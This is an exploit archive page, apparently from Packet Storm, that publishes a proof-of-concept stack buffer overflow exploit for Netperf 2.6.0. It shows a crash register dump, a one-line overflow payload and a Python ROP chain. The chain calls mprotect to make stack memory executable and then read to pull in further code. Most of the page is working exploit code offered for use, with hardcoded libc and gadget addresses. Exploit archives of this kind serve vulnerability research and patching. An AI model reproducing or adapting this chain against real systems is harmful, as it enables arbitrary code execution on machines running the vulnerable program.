exploit the possibilities

Netperf 2.6.0 Buffer Overflow

Netperf 2.6.0 Buffer Overflow
Posted Jun 17, 2019
Authored by Juan Sacco

Netperf version 2.6.0 suffers from a stack-based buffer overflow.

tags | exploit, overflow
MD5 | 0ef5dc2f9b7f60ca2b8b2d08ffec6dec

Netperf 2.6.0 Buffer Overflow

Change Mirror Download
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: Netperf 2.6.0 s a benchmark tool than developed by
Hewlett Packard that can be used to measure the performance of many
different types of networking.
# It provides tests for both unidirectional troughput and end-to-end latency.
#
# Vendor: https://hewlettpackard.github.io/netperf/
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x41424344 in ?? ()
# LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
# EAX 0x6d
# EBX 0x41414141 ('AAAA')
# ECX 0x6f
# EDX 0x430320 (test_name) 'TCP_STREAM'
# EDI 0xb7ea2000 (_GLOBAL_OFFSET_TABLE_)
# ESI 0xbfffd2c0 0x3
# EBP 0x41414141 ('AAAA')
# ESP 0xbfffd280 0x0
# EIP 0x41424344 ('DCBA')
# Invalid address 0x41424344
# Program received signal SIGSEGV (fault address 0x41424344)
# PoC: run -a `python -c 'print "A"*8220+"DCBA"'`

from struct import pack

# int mprotect(void *addr, size_t len, int prot);
# define PROT_READ 0x1
# define PROT_WRITE 0x2
# define PROT_EXEC 0x4
#
# gef p mprotect
# $1 = {<text variable, no debug info>} 0xb7dbdfd0 <mprotect>
# gef p read
#{ssize_t (int, void *, size_t)} 0xb7db06b0 <__GI___libc_read>
#
# gef ropgadget
#pop3ret = 0x402fea

offset = 8220
mprotect = 0xb7dbdfd0 # <mprotect>
read = 0xb7db06b0 # <read>
pop3ret = 0x402fea
target_memory = 0xb7fd4000 # r-xp [vdso]

rop_chain = 'A' * offset
rop_chain += pack('I', mprotect) # mprotect
rop_chain += pack('I', pop3ret) # gadget
rop_chain += pack('I', 0xbffdf000) # arg - void*
rop_chain += pack('I', 0x100000) # arg size_t
rop_chain += pack('I',0x7) # arg int
rop_chain += pack('I', read)
rop_chain += pack('I', 0xbffdf000) # return stack
rop_chain += pack('I',0x00) # arg int fd
rop_chain += pack('I',0xbffdf000) # arg void
rop_chain += pack('I',0x200) # arg size_t

print rop_chain
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    2 Files
  • 19
    Sep 19th
    2 Files
  • 20
    Sep 20th
    14 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    28 Files
  • 23
    Sep 23rd
    13 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close